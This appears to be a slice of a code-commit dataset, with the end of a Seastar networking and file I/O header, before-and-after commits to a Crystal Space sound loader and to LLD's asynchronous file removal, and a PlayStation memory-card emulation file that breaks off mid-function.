output_stream;\n\nclass server_socket;\nclass socket;\nclass connected_socket;\nclass socket_address;\nstruct listen_options;\nenum class transport;\n\n\/\/ file.hh\nclass file;\nstruct file_open_options;\nstruct stat_data;\n\nnamespace net {\n\nclass udp_channel;\n\n}\n\n\/\/ Networking API\n\n\/\/\/ \\defgroup networking-module Networking\n\/\/\/\n\/\/\/ Seastar provides a simple networking API, backed by two\n\/\/\/ TCP\/IP stacks: the POSIX stack, utilizing the kernel's\n\/\/\/ BSD socket APIs, and the native stack, implement fully\n\/\/\/ within seastar and able to drive network cards directly.\n\/\/\/ The native stack supports zero-copy on both transmit\n\/\/\/ and receive, and is implemented using seastar's high\n\/\/\/ performance, lockless sharded design.  The network stack\n\/\/\/ can be selected with the \\c \\--network-stack command-line\n\/\/\/ parameter.\n\n\/\/\/ \\addtogroup networking-module\n\/\/\/ @{\n\n\/\/\/ Listen for connections on a given port\n\/\/\/\n\/\/\/ Starts listening on a given address for incoming connections.\n\/\/\/\n\/\/\/ \\param sa socket address to listen on\n\/\/\/\n\/\/\/ \\return \\ref server_socket object ready to accept connections.\n\/\/\/\n\/\/\/ \\see listen(socket_address sa, listen_options opts)\nserver_socket listen(socket_address sa);\n\n\/\/\/ Listen for connections on a given port\n\/\/\/\n\/\/\/ Starts listening on a given address for incoming connections.\n\/\/\/\n\/\/\/ \\param sa socket address to listen on\n\/\/\/ \\param opts options controlling the listen operation\n\/\/\/\n\/\/\/ \\return \\ref server_socket object ready to accept connections.\n\/\/\/\n\/\/\/ \\see listen(socket_address sa)\nserver_socket listen(socket_address sa, listen_options opts);\n\n\/\/\/ Establishes a connection to a given address\n\/\/\/\n\/\/\/ Attempts to connect to the given address.\n\/\/\/\n\/\/\/ \\param sa socket address to connect to\n\/\/\/\n\/\/\/ \\return a \\ref connected_socket object, or an exception\nfuture<connected_socket> connect(socket_address sa);\n\n\/\/\/ Establishes a connection to a given address\n\/\/\/\n\/\/\/ Attempts to connect to the given address with a defined local endpoint\n\/\/\/\n\/\/\/ \\param sa socket address to connect to\n\/\/\/ \\param local socket address for local endpoint\n\/\/\/ \\param proto transport protocol (TCP or SCTP)\n\/\/\/\n\/\/\/ \\return a \\ref connected_socket object, or an exception\nfuture<connected_socket> connect(socket_address sa, socket_address local, transport proto);\n\n\n\/\/\/ Creates a socket object suitable for establishing stream-oriented connections\n\/\/\/\n\/\/\/ \\return a \\ref net::socket object that can be used for establishing connections\nsocket make_socket();\n\n\/\/\/ Creates a udp_channel object suitable for sending UDP packets\n\/\/\/\n\/\/\/ The channel is not bound to a local address, and thus can only be used\n\/\/\/ for sending.\n\/\/\/\n\/\/\/ \\return a \\ref net::udp_channel object that can be used for UDP transfers.\nnet::udp_channel make_udp_channel();\n\n\n\/\/\/ Creates a udp_channel object suitable for sending and receiving UDP packets\n\/\/\/\n\/\/\/ \\param local local address to bind to\n\/\/\/\n\/\/\/ \\return a \\ref net::udp_channel object that can be used for UDP transfers.\nnet::udp_channel make_udp_channel(const socket_address& local);\n\n\/\/\/ @}\n\n\/\/\/ \\defgroup fileio-module File Input\/Output\n\/\/\/\n\/\/\/ Seastar provides a file API to deal with persistent storage.\n\/\/\/ Unlike most file APIs, seastar offers unbuffered file I\/O\n\/\/\/ (similar to, and based on, \\c O_DIRECT).  Unbuffered I\/O means\n\/\/\/ that the application is required to do its own caching, but\n\/\/\/ delivers better performance if this caching is done correctly.\n\/\/\/\n\/\/\/ For random I\/O or sequential unbuffered I\/O, the \\ref file\n\/\/\/ class provides a set of methods for reading, writing, discarding,\n\/\/\/ or otherwise manipulating a file.  For buffered sequential I\/O,\n\/\/\/ see \\ref make_file_input_stream() and \\ref make_file_output_stream().\n\n\/\/\/ \\addtogroup fileio-module\n\/\/\/ @{\n\n\/\/\/ Opens or creates a file.  The \"dma\" in the name refers to the fact\n\/\/\/ that data transfers are unbuffered and uncached.\n\/\/\/\n\/\/\/ \\param name  the name of the file to open or create\n\/\/\/ \\param flags various flags controlling the open process\n\/\/\/ \\return a \\ref file object, as a future\n\/\/\/\n\/\/\/ \\note\n\/\/\/ The file name is not guaranteed to be stable on disk, unless the\n\/\/\/ containing directory is sync'ed.\n\/\/\/\n\/\/\/ \\relates file\nfuture<file> open_file_dma(sstring name, open_flags flags) noexcept;\n\n\/\/\/ Opens or creates a file.  The \"dma\" in the name refers to the fact\n\/\/\/ that data transfers are unbuffered and uncached.\n\/\/\/\n\/\/\/ \\param name  the name of the file to open or create\n\/\/\/ \\param flags various flags controlling the open process\n\/\/\/ \\param options options for opening the file\n\/\/\/ \\return a \\ref file object, as a future\n\/\/\/\n\/\/\/ \\note\n\/\/\/ The file name is not guaranteed to be stable on disk, unless the\n\/\/\/ containing directory is sync'ed.\n\/\/\/\n\/\/\/ \\relates file\nfuture<file> open_file_dma(sstring name, open_flags flags, file_open_options options) noexcept;\n\n\/\/\/ Checks if a given directory supports direct io\n\/\/\/\n\/\/\/ Seastar bypasses the Operating System caches and issues direct io to the\n\/\/\/ underlying block devices. Projects using seastar should check if the directory\n\/\/\/ lies in a filesystem that support such operations. This function can be used\n\/\/\/ to do that.\n\/\/\/\n\/\/\/ It will return if direct io can be used, or throw an std::system_error\n\/\/\/ exception, with the EINVAL error code.\n\/\/\/\n\/\/\/ A std::system_error with the respective error code is also thrown if \\ref path is\n\/\/\/ not a directory.\n\/\/\/\n\/\/\/ \\param path the directory we need to verify.\nfuture<> check_direct_io_support(sstring path);\n\n\/\/\/ Opens a directory.\n\/\/\/\n\/\/\/ \\param name name of the directory to open\n\/\/\/\n\/\/\/ \\return a \\ref file object representing a directory.  The only\n\/\/\/    legal operations are \\ref file::list_directory(),\n\/\/\/    \\ref file::fsync(), and \\ref file::close().\n\/\/\/\n\/\/\/ \\relates file\nfuture<file> open_directory(sstring name) noexcept;\n\n\/\/\/ Creates a new directory.\n\/\/\/\n\/\/\/ \\param name name of the directory to create\n\/\/\/ \\param permissions optional file permissions of the directory to create.\n\/\/\/\n\/\/\/ \\note\n\/\/\/ The directory is not guaranteed to be stable on disk, unless the\n\/\/\/ containing directory is sync'ed.\nfuture<> make_directory(sstring name, file_permissions permissions = file_permissions::default_dir_permissions) noexcept;\n\n\/\/\/ Ensures a directory exists\n\/\/\/\n\/\/\/ Checks whether a directory exists, and if not, creates it.  Only\n\/\/\/ the last component of the directory name is created.\n\/\/\/\n\/\/\/ \\param name name of the directory to potentially create\n\/\/\/ \\param permissions optional file permissions of the directory to create.\n\/\/\/\n\/\/\/ \\note\n\/\/\/ The directory is not guaranteed to be stable on disk, unless the\n\/\/\/ containing directory is sync'ed.\n\/\/\/ If the directory exists, the provided permissions are not applied.\nfuture<> touch_directory(sstring name, file_permissions permissions = file_permissions::default_dir_permissions) noexcept;\n\n\/\/\/ Recursively ensures a directory exists\n\/\/\/\n\/\/\/ Checks whether each component of a directory exists, and if not, creates it.\n\/\/\/\n\/\/\/ \\param name name of the directory to potentially create\n\/\/\/ \\param permissions optional file permissions of the directory to create.\n\/\/\/\n\/\/\/ \\note\n\/\/\/ This function fsyncs each component created, and is therefore guaranteed to be stable on disk.\n\/\/\/ The provided permissions are applied only on the last component in the path, if it needs to be created,\n\/\/\/ if intermediate directories do not exist, they are created with the default_dir_permissions.\n\/\/\/ If any directory exists, the provided permissions are not applied.\nfuture<> recursive_touch_directory(sstring name, file_permissions permissions = file_permissions::default_dir_permissions) noexcept;\n\n\/\/\/ Synchronizes a directory to disk\n\/\/\/\n\/\/\/ Makes sure the modifications in a directory are synchronized in disk.\n\/\/\/ This is useful, for instance, after creating or removing a file inside the\n\/\/\/ directory.\n\/\/\/\n\/\/\/ \\param name name of the directory to potentially create\nfuture<> sync_directory(sstring name) noexcept;\n\n\n\/\/\/ Removes (unlinks) a file or an empty directory\n\/\/\/\n\/\/\/ \\param name name of the file or the directory to remove\n\/\/\/\n\/\/\/ \\note\n\/\/\/ The removal is not guaranteed to be stable on disk, unless the\n\/\/\/ containing directory is sync'ed.\nfuture<> remove_file(sstring name) noexcept;\n\n\/\/\/ Renames (moves) a file.\n\/\/\/\n\/\/\/ \\param old_name existing file name\n\/\/\/ \\param new_name new file name\n\/\/\/\n\/\/\/ \\note\n\/\/\/ The rename is not guaranteed to be stable on disk, unless the\n\/\/\/ both containing directories are sync'ed.\nfuture<> rename_file(sstring old_name, sstring new_name) noexcept;\n\nstruct follow_symlink_tag { };\nusing follow_symlink = bool_class<follow_symlink_tag>;\n\n\/\/\/ Return stat information about a file.\n\/\/\/\n\/\/\/ \\param name name of the file to return its stat information\n\/\/\/ \\param follow_symlink follow symbolic links.\n\/\/\/\n\/\/\/ \\return stat_data of the file identified by name.\n\/\/\/ If name identifies a symbolic link then stat_data is returned either for the target of the link,\n\/\/\/ with follow_symlink::yes, or for the link itself, with follow_symlink::no.\nfuture<stat_data> file_stat(sstring name, follow_symlink fs = follow_symlink::yes) noexcept;\n\n\/\/\/ Return the size of a file.\n\/\/\/\n\/\/\/ \\param name name of the file to return the size\n\/\/\/\n\/\/\/ Note that file_size of a symlink is NOT the size of the symlink -\n\/\/\/ which is the length of the pathname it contains -\n\/\/\/ but rather the size of the file to which it points.\nfuture<uint64_t> file_size(sstring name) noexcept;\n\n\/\/\/ Check file access.\n\/\/\/\n\/\/\/ \\param name name of the file to check\n\/\/\/ \\param flags bit pattern containing type of access to check (read\/write\/execute or exists).\n\/\/\/\n\/\/\/ If only access_flags::exists is queried, returns true if the file exists, or false otherwise.\n\/\/\/ Throws a std::filesystem::filesystem_error exception if any error other than ENOENT is encountered.\n\/\/\/\n\/\/\/ If any of the access_flags (read\/write\/execute) is set, returns true if the file exists and is\n\/\/\/ accessible with the requested flags, or false if the file exists and is not accessible\n\/\/\/ as queried.\n\/\/\/ Throws a std::filesystem::filesystem_error exception if any error other than EACCES is encountered.\n\/\/\/ Note that if any path component leading to the file is not searchable, the file is considered inaccessible\n\/\/\/ with the requested mode and false will be returned.\nfuture<bool> file_accessible(sstring name, access_flags flags) noexcept;\n\n\/\/\/ check if a file exists.\n\/\/\/\n\/\/\/ \\param name name of the file to check\nfuture<bool> file_exists(sstring name) noexcept;\n\n\/\/\/ Determine the type of a file (regular file, directory, etc.)\n\/\/\/\n\/\/\/ \\param name name of the file for which type information is requested\n\/\/\/ \\param name follow_symlink whether a trailing symbolic link should be followed or not\n\/\/\/\n\/\/\/ \\return a engaged optional with the file type if lookup was successful; a disengaged optional\n\/\/\/      if the file (or one of its parent directories) does not exist; an exceptional future on\n\/\/\/      other errors.\nfuture<std::optional<directory_entry_type>> file_type(sstring name, follow_symlink = follow_symlink::yes) noexcept;\n\n\n\/\/\/ Creates a hard link for a file\n\/\/\/\n\/\/\/ \\param oldpath existing file name\n\/\/\/ \\param newpath name of link\n\/\/\/\nfuture<> link_file(sstring oldpath, sstring newpath) noexcept;\n\n\/\/\/ Changes the permissions mode of a file or directory\n\/\/\/\n\/\/\/ \\param name name of the file ot directory to change\n\/\/\/ \\param permissions permissions to set\n\/\/\/\nfuture<> chmod(sstring name, file_permissions permissions) noexcept;\n\n\/\/\/ Return information about the filesystem where a file is located.\n\/\/\/\n\/\/\/ \\param name name of the file to inspect\nfuture<fs_type> file_system_at(sstring name) noexcept;\n\n\/\/\/ Return space available to unprivileged users in filesystem where a file is located, in bytes.\n\/\/\/\n\/\/\/ \\param name name of the file to inspect\nfuture<uint64_t> fs_avail(sstring name) noexcept;\n\n\/\/\/ Return free space in filesystem where a file is located, in bytes.\n\/\/\/\n\/\/\/ \\param name name of the file to inspect\nfuture<uint64_t> fs_free(sstring name) noexcept;\n\/\/\/ @}\n\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n    Copyright (C) 1998 by Jorrit Tyberghein    \n\n    This library is free software; you can redistribute it and\/or\n    modify it under the terms of the GNU Library General Public\n    License as published by the Free Software Foundation; either\n    version 2 of the License, or (at your option) any later version.\n\n    This library is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n    Library General Public License for more details.\n\n    You should have received a copy of the GNU Library General Public\n    License along with this library; if not, write to the Free\n    Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.\n*\/\n\n#include \"cssysdef.h\"\n#include \"csutil\/csvector.h\"\n#include \"isound\/loader.h\"\n#include \"isys\/system.h\"\n#include \"isys\/vfs.h\"\n#include \"isound\/data.h\"\n\nclass csSoundLoaderMultiplexer : public iSoundLoader {\nprivate:\n  csVector Loaders;\n\npublic:\n  DECLARE_IBASE;\n\n  \/\/ constructor\n  csSoundLoaderMultiplexer(iBase *iParent);\n\n  \/\/ destructor\n  virtual ~csSoundLoaderMultiplexer();\n\n  \/\/ Initialize the Sound Loader.\n  virtual bool Initialize (iSystem *sys);\n\n  \/\/ Load a sound file from the VFS.\n  virtual iSoundData *LoadSound(void *Data, unsigned long Size) const;\n};\n\nIMPLEMENT_FACTORY(csSoundLoaderMultiplexer);\n\nEXPORT_CLASS_TABLE (sndplex)\nEXPORT_CLASS_DEP (csSoundLoaderMultiplexer,\n  \"crystalspace.sound.loader.multiplexer\", \"Sound Loader Multiplexer\",\n  \"crystalspace.sound.loader.\")\nEXPORT_CLASS_TABLE_END;\n\nIMPLEMENT_IBASE(csSoundLoaderMultiplexer)\n  IMPLEMENTS_INTERFACE(iSoundLoader)\n  IMPLEMENTS_INTERFACE(iPlugIn)\nIMPLEMENT_IBASE_END;\n\ncsSoundLoaderMultiplexer::csSoundLoaderMultiplexer(iBase *iParent) {\n  CONSTRUCT_IBASE(iParent);\n}\n\ncsSoundLoaderMultiplexer::~csSoundLoaderMultiplexer() {\n  for (long i=0; i<Loaders.Length(); i++) {\n    iSoundLoader *ldr=(iSoundLoader*)(Loaders.Get(i));\n    ldr->DecRef();\n  }\n}\n\nbool csSoundLoaderMultiplexer::Initialize(iSystem *sys) \n{\n  sys->Printf(MSG_INITIALIZATION, \"Initializing sound loading multiplexer...\\n\");\n  sys->Printf(MSG_INITIALIZATION, \"  Looking for sound loader modules:\\n\");\n\n  iVFS *pVFS = QUERY_PLUGIN (sys, iVFS);\n  if (pVFS)\n  {\n    csVector list;\n    iSCF::SCF->QueryClassList (\"crystalspace.sound.loader.\", list);\n    for (long i=0; i<list.Length (); i++)\n    {\n      const char *classname = (const char *)list.Get (i);\n      if (strcasecmp (classname, \"crystalspace.sound.loader.multiplexer\"))\n      {\n\tsys->Printf(MSG_INITIALIZATION, \"  soundloader: %s\\n\", classname);\n\tiSoundLoader *ldr = LOAD_PLUGIN (sys, classname, 0, iSoundLoader);\n\tif (ldr)\n\t  Loaders.Push(ldr);\n      }\n    }\n    pVFS->DecRef ();\n    return true;\n  }\n  else\n    sys->Printf(MSG_WARNING, \n\t\t\"  Oops, couldn't query iVFS from the system driver, cannot look for soundloaders now !\\n\");\n  return false;\n}\n\niSoundData *csSoundLoaderMultiplexer::LoadSound(void *Data, unsigned long Size) const {\n  for (long i=0;i<Loaders.Length();i++) {\n    iSoundLoader *Ldr=(iSoundLoader*)(Loaders.Get(i));\n    iSoundData *snd=Ldr->LoadSound(Data, Size);\n    if (snd) return snd;\n  }\n  return NULL;\n}\n<commit_msg>removed the unneeded query for iVFS, don't no why i coded it in in the first place, probably to hog the system a bit<commit_after>\/*\n    Copyright (C) 1998 by Jorrit Tyberghein    \n\n    This library is free software; you can redistribute it and\/or\n    modify it under the terms of the GNU Library General Public\n    License as published by the Free Software Foundation; either\n    version 2 of the License, or (at your option) any later version.\n\n    This library is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n    Library General Public License for more details.\n\n    You should have received a copy of the GNU Library General Public\n    License along with this library; if not, write to the Free\n    Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.\n*\/\n\n#include \"cssysdef.h\"\n#include \"csutil\/csvector.h\"\n#include \"isound\/loader.h\"\n#include \"isys\/system.h\"\n#include \"isys\/vfs.h\"\n#include \"isound\/data.h\"\n\nclass csSoundLoaderMultiplexer : public iSoundLoader {\nprivate:\n  csVector Loaders;\n\npublic:\n  DECLARE_IBASE;\n\n  \/\/ constructor\n  csSoundLoaderMultiplexer(iBase *iParent);\n\n  \/\/ destructor\n  virtual ~csSoundLoaderMultiplexer();\n\n  \/\/ Initialize the Sound Loader.\n  virtual bool Initialize (iSystem *sys);\n\n  \/\/ Load a sound file from the VFS.\n  virtual iSoundData *LoadSound(void *Data, unsigned long Size) const;\n};\n\nIMPLEMENT_FACTORY(csSoundLoaderMultiplexer);\n\nEXPORT_CLASS_TABLE (sndplex)\nEXPORT_CLASS_DEP (csSoundLoaderMultiplexer,\n  \"crystalspace.sound.loader.multiplexer\", \"Sound Loader Multiplexer\",\n  \"crystalspace.sound.loader.\")\nEXPORT_CLASS_TABLE_END;\n\nIMPLEMENT_IBASE(csSoundLoaderMultiplexer)\n  IMPLEMENTS_INTERFACE(iSoundLoader)\n  IMPLEMENTS_INTERFACE(iPlugIn)\nIMPLEMENT_IBASE_END;\n\ncsSoundLoaderMultiplexer::csSoundLoaderMultiplexer(iBase *iParent) {\n  CONSTRUCT_IBASE(iParent);\n}\n\ncsSoundLoaderMultiplexer::~csSoundLoaderMultiplexer() {\n  for (long i=0; i<Loaders.Length(); i++) {\n    iSoundLoader *ldr=(iSoundLoader*)(Loaders.Get(i));\n    ldr->DecRef();\n  }\n}\n\nbool csSoundLoaderMultiplexer::Initialize(iSystem *sys) \n{\n  sys->Printf(MSG_INITIALIZATION, \"Initializing sound loading multiplexer...\\n\");\n  sys->Printf(MSG_INITIALIZATION, \"  Looking for sound loader modules:\\n\");\n\n  csVector list;\n  iSCF::SCF->QueryClassList (\"crystalspace.sound.loader.\", list);\n  for (long i=0; i<list.Length (); i++)\n  {\n    const char *classname = (const char *)list.Get (i);\n    if (strcasecmp (classname, \"crystalspace.sound.loader.multiplexer\"))\n    {\n      sys->Printf(MSG_INITIALIZATION, \"  soundloader: %s\\n\", classname);\n      iSoundLoader *ldr = LOAD_PLUGIN (sys, classname, 0, iSoundLoader);\n      if (ldr)\n\tLoaders.Push(ldr);\n    }\n  }\n  return true;\n}\n\niSoundData *csSoundLoaderMultiplexer::LoadSound(void *Data, unsigned long Size) const {\n  for (long i=0;i<Loaders.Length();i++) {\n    iSoundLoader *Ldr=(iSoundLoader*)(Loaders.Get(i));\n    iSoundData *snd=Ldr->LoadSound(Data, Size);\n    if (snd) return snd;\n  }\n  return NULL;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/===- Filesystem.cpp -----------------------------------------------------===\/\/\n\/\/\n\/\/                             The LLVM Linker\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file contains a few utility functions to handle files.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"Filesystem.h\"\n#include \"Config.h\"\n#include \"lld\/Common\/Threads.h\"\n#include \"llvm\/Config\/config.h\"\n#include \"llvm\/Support\/FileOutputBuffer.h\"\n#include \"llvm\/Support\/FileSystem.h\"\n#if defined(HAVE_UNISTD_H)\n#include <unistd.h>\n#endif\n\nusing namespace llvm;\n\nusing namespace lld;\nusing namespace lld::elf;\n\n\/\/ Removes a given file asynchronously. This is a performance hack,\n\/\/ so remove this when operating systems are improved.\n\/\/\n\/\/ On Linux (and probably on other Unix-like systems), unlink(2) is a\n\/\/ noticeably slow system call. As of 2016, unlink takes 250\n\/\/ milliseconds to remove a 1 GB file on ext4 filesystem on my machine.\n\/\/\n\/\/ To create a new result file, we first remove existing file. So, if\n\/\/ you repeatedly link a 1 GB program in a regular compile-link-debug\n\/\/ cycle, every cycle wastes 250 milliseconds only to remove a file.\n\/\/ Since LLD can link a 1 GB binary in about 5 seconds, that waste\n\/\/ actually counts.\n\/\/\n\/\/ This function spawns a background thread to remove the file.\n\/\/ The calling thread returns almost immediately.\nvoid elf::unlinkAsync(StringRef Path) {\n\/\/ Removing a file is async on windows.\n#if defined(LLVM_ON_WIN32)\n  sys::fs::remove(Path);\n#else\n  if (!ThreadsEnabled || !sys::fs::exists(Path) ||\n      !sys::fs::is_regular_file(Path))\n    return;\n\n  \/\/ We cannot just remove path from a different thread because we are now going\n  \/\/ to create path as a new file.\n  \/\/ Instead we open the file and unlink it on this thread. The unlink is fast\n  \/\/ since the open fd guarantees that it is not removing the last reference.\n  int FD;\n  if (std::error_code EC = sys::fs::openFileForRead(Path, FD))\n    return;\n\n  sys::fs::remove(Path);\n\n  \/\/ close and therefore remove TempPath in background.\n  runBackground([=] { ::close(FD); });\n#endif\n}\n\n\/\/ Simulate file creation to see if Path is writable.\n\/\/\n\/\/ Determining whether a file is writable or not is amazingly hard,\n\/\/ and after all the only reliable way of doing that is to actually\n\/\/ create a file. But we don't want to do that in this function\n\/\/ because LLD shouldn't update any file if it will end in a failure.\n\/\/ We also don't want to reimplement heuristics to determine if a\n\/\/ file is writable. So we'll let FileOutputBuffer do the work.\n\/\/\n\/\/ FileOutputBuffer doesn't touch a desitnation file until commit()\n\/\/ is called. We use that class without calling commit() to predict\n\/\/ if the given file is writable.\nstd::error_code elf::tryCreateFile(StringRef Path) {\n  if (Path.empty())\n    return std::error_code();\n  return FileOutputBuffer::create(Path, 1).getError();\n}\n<commit_msg>Use std::thread directly.<commit_after>\/\/===- Filesystem.cpp -----------------------------------------------------===\/\/\n\/\/\n\/\/                             The LLVM Linker\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file contains a few utility functions to handle files.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"Filesystem.h\"\n#include \"Config.h\"\n#include \"lld\/Common\/Threads.h\"\n#include \"llvm\/Config\/config.h\"\n#include \"llvm\/Support\/FileOutputBuffer.h\"\n#include \"llvm\/Support\/FileSystem.h\"\n#if defined(HAVE_UNISTD_H)\n#include <unistd.h>\n#endif\n#include <thread>\n\nusing namespace llvm;\n\nusing namespace lld;\nusing namespace lld::elf;\n\n\/\/ Removes a given file asynchronously. This is a performance hack,\n\/\/ so remove this when operating systems are improved.\n\/\/\n\/\/ On Linux (and probably on other Unix-like systems), unlink(2) is a\n\/\/ noticeably slow system call. As of 2016, unlink takes 250\n\/\/ milliseconds to remove a 1 GB file on ext4 filesystem on my machine.\n\/\/\n\/\/ To create a new result file, we first remove existing file. So, if\n\/\/ you repeatedly link a 1 GB program in a regular compile-link-debug\n\/\/ cycle, every cycle wastes 250 milliseconds only to remove a file.\n\/\/ Since LLD can link a 1 GB binary in about 5 seconds, that waste\n\/\/ actually counts.\n\/\/\n\/\/ This function spawns a background thread to remove the file.\n\/\/ The calling thread returns almost immediately.\nvoid elf::unlinkAsync(StringRef Path) {\n\/\/ Removing a file is async on windows.\n#if defined(LLVM_ON_WIN32)\n  sys::fs::remove(Path);\n#else\n  if (!ThreadsEnabled || !sys::fs::exists(Path) ||\n      !sys::fs::is_regular_file(Path))\n    return;\n\n  \/\/ We cannot just remove path from a different thread because we are now going\n  \/\/ to create path as a new file.\n  \/\/ Instead we open the file and unlink it on this thread. The unlink is fast\n  \/\/ since the open fd guarantees that it is not removing the last reference.\n  int FD;\n  if (std::error_code EC = sys::fs::openFileForRead(Path, FD))\n    return;\n\n  sys::fs::remove(Path);\n\n  \/\/ close and therefore remove TempPath in background.\n  std::thread([=] { ::close(FD); }).detach();\n#endif\n}\n\n\/\/ Simulate file creation to see if Path is writable.\n\/\/\n\/\/ Determining whether a file is writable or not is amazingly hard,\n\/\/ and after all the only reliable way of doing that is to actually\n\/\/ create a file. But we don't want to do that in this function\n\/\/ because LLD shouldn't update any file if it will end in a failure.\n\/\/ We also don't want to reimplement heuristics to determine if a\n\/\/ file is writable. So we'll let FileOutputBuffer do the work.\n\/\/\n\/\/ FileOutputBuffer doesn't touch a desitnation file until commit()\n\/\/ is called. We use that class without calling commit() to predict\n\/\/ if the given file is writable.\nstd::error_code elf::tryCreateFile(StringRef Path) {\n  if (Path.empty())\n    return std::error_code();\n  return FileOutputBuffer::create(Path, 1).getError();\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"LIBMCRD.H\"\n#include \"LIBETC.H\"\n\n#include <stdio.h>\n#include <assert.h>\n#include <string.h>\n\n#define MC_HEADER_FRAME_INDEX (0)\n\nint bIsInitialised = 0;\nint bCanUseMemoryCardFuncs = 0;\nint memoryCardStatus = -1;\n\nFILE* memoryCards[2];\nint memoryCardsNew[2];\n\nlong memoryCardCmds = -1;\nlong memoryCardResult = -1;\n\nvoid MemCardInit(long val)\n{\n\tbIsInitialised = 1;\n\tbCanUseMemoryCardFuncs = 0;\n\tmemoryCardStatus = -1;\n\tmemoryCardCmds = -1;\n\tmemoryCardResult = -1;\n\tmemoryCardsNew[0] = 1;\n\tmemoryCardsNew[1] = 1;\n}\n\nvoid MemCardEnd()\n{\n\tif (!bCanUseMemoryCardFuncs)\n\t\treturn;\n\n}\n\nvoid MemCardStart()\n{\n\tbCanUseMemoryCardFuncs = 1;\n}\n\nvoid MemCardStop()\n{\n\tif (!bCanUseMemoryCardFuncs)\n\t\treturn;\n\n}\nlong MemCardExist(long chan)\n{\n\tif (!bCanUseMemoryCardFuncs)\n\t\treturn 0;\n\n\tchar buf[16];\n\tsprintf(&buf[0], \"%d.MCD\", chan);\n\tmemoryCards[chan] = fopen(&buf[0], \"rb\");\n\n\tmemoryCardCmds = McFuncExist;\n\n\tif (memoryCards[chan] == NULL)\n\t{\n\t\tmemoryCardStatus = -1;\/\/CHECKME\n\t\tmemoryCardResult = McErrCardNotExist;\/\/CHECKME\n\t\treturn 0;\n\t}\n\telse\n\t{\n\t\tfclose(memoryCards[chan]);\n\n\t\tif (memoryCardResult == McErrNewCard)\n\t\t{\n\t\t\tmemoryCardResult = McErrNone;\n\t\t\tmemoryCardStatus = 0;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tmemoryCardResult = McErrNewCard;\n\t\t\tmemoryCardStatus = 1;\n\t\t}\n\t}\n\n\t\n\treturn 1;\n}\n\nlong MemCardAccept(long chan)\n{\n\tif (!bCanUseMemoryCardFuncs)\n\t\treturn 0;\n\n\tchar buf[16];\n\tsprintf(&buf[0], \"%d.MCD\", chan);\n\tmemoryCards[chan] = fopen(&buf[0], \"rb\");\n\tmemoryCardCmds = McFuncAccept;\n\n\tunsigned int fileMagic = 0;\n\tfread(&fileMagic, 4, 1, memoryCards[chan]);\n\n\t\/\/Is this card formatted?\n\tif (fileMagic != 0x0000434D || memoryCardsNew[chan] == 1)\n\t{\n\t\t\/\/If not, this is a new card!\n\t\tmemoryCardResult = McErrNewCard;\n\t\tmemoryCardsNew[chan] = 0;\n\t\treturn 0;\n\t}\n\n\tmemoryCardResult = McErrNone;\n\treturn 1;\n}\nlong MemCardOpen(long chan, char* file, long flag)\n{\n\t\n\treturn 0;\n}\n\nvoid MemCardClose()\n{\n\t\n}\n\nlong MemCardReadData(unsigned long* adrs, long ofs, long bytes)\n{\n\tmemoryCardCmds = McFuncReadData;\n\treturn 0;\n}\n\nlong MemCardReadFile(long chan, char* file, unsigned long* adrs, long ofs, long bytes)\n{\n\tmemoryCardCmds = McFuncReadFile;\n\treturn 0;\n}\n\nlong MemCardWriteData(unsigned long* adrs, long ofs, long bytes)\n{\n\tmemoryCardCmds = McFuncWriteData;\n\treturn 0;\n}\n\nlong MemCardWriteFile(long chan, char* file, unsigned long* adrs, long ofs, long bytes)\n{\n\tmemoryCardCmds = McFuncWriteFile;\n\n\treturn 0;\n}\n\nlong MemCardCreateFile(long chan, char* file, long blocks)\n{\n\t\n\treturn 0;\n}\n\nlong MemCardDeleteFile(long chan, char* file)\n{\n\t\n\treturn 0;\n}\n\nlong MemCardFormat(long chan)\n{\n\t\n\treturn 0;\n}\n\nlong MemCardUnformat(long chan)\n{\n\t\n\treturn 0;\n}\n\nlong MemCardSync(long mode, long* cmds, long* rslt)\n{\n\tif (mode == 1)\n\t{\n\t\tif (memoryCardCmds != -1)\n\t\t{\n\t\t\t*cmds = memoryCardCmds;\n\t\t}\n\n\t\tif (memoryCardResult != -1)\n\t\t{\n\t\t\t*rslt = memoryCardResult;\n\t\t}\n\n\t\treturn memoryCardStatus;\n\t}\n\n\treturn 0;\n}\n\nMemCB MemCardCallback(MemCB func)\n{\n\t\n\treturn 0;\n}\n\nlong MemCardGetDirentry(long chan, char* name, struct DIRENTRY* dir, long* files, long ofs, long max)\n{\n\n#pragma pack(push,1)\n\tstruct MemoryCardFrame\n\t{\n\t\tunsigned int attr;\n\t\tunsigned int size;\n\t\tunsigned short unknown;\n\t\tchar name[20];\n\t\tchar padding[98];\n\t};\n#pragma pack(pop)\n\t\/\/Read all\n\tfseek(memoryCards[chan], 0, SEEK_SET);\n\n\tif (strcmp(name, \"*\") == 0)\n\t{\n\t\tfor (int i = 0, head = -64; i < 16; i++, head += 128)\n\t\t{\n\t\t\tMemoryCardFrame frame;\n\t\t\tfread(&frame, sizeof(MemoryCardFrame), 1, memoryCards[chan]);\n\n\t\t\tif (i > MC_HEADER_FRAME_INDEX && frame.name[0] != '\\0')\n\t\t\t{\n\t\t\t\tmemcpy(dir->name, &frame.name, 20);\n\t\t\t\tdir->attr = frame.attr & 0xF0;\n\t\t\t\tdir->size = frame.size;\n\t\t\t\tdir->next = (struct DIRENTRY*)9;\n\t\t\t\tdir->head = head;\n\t\t\t\tdir->system[0] = 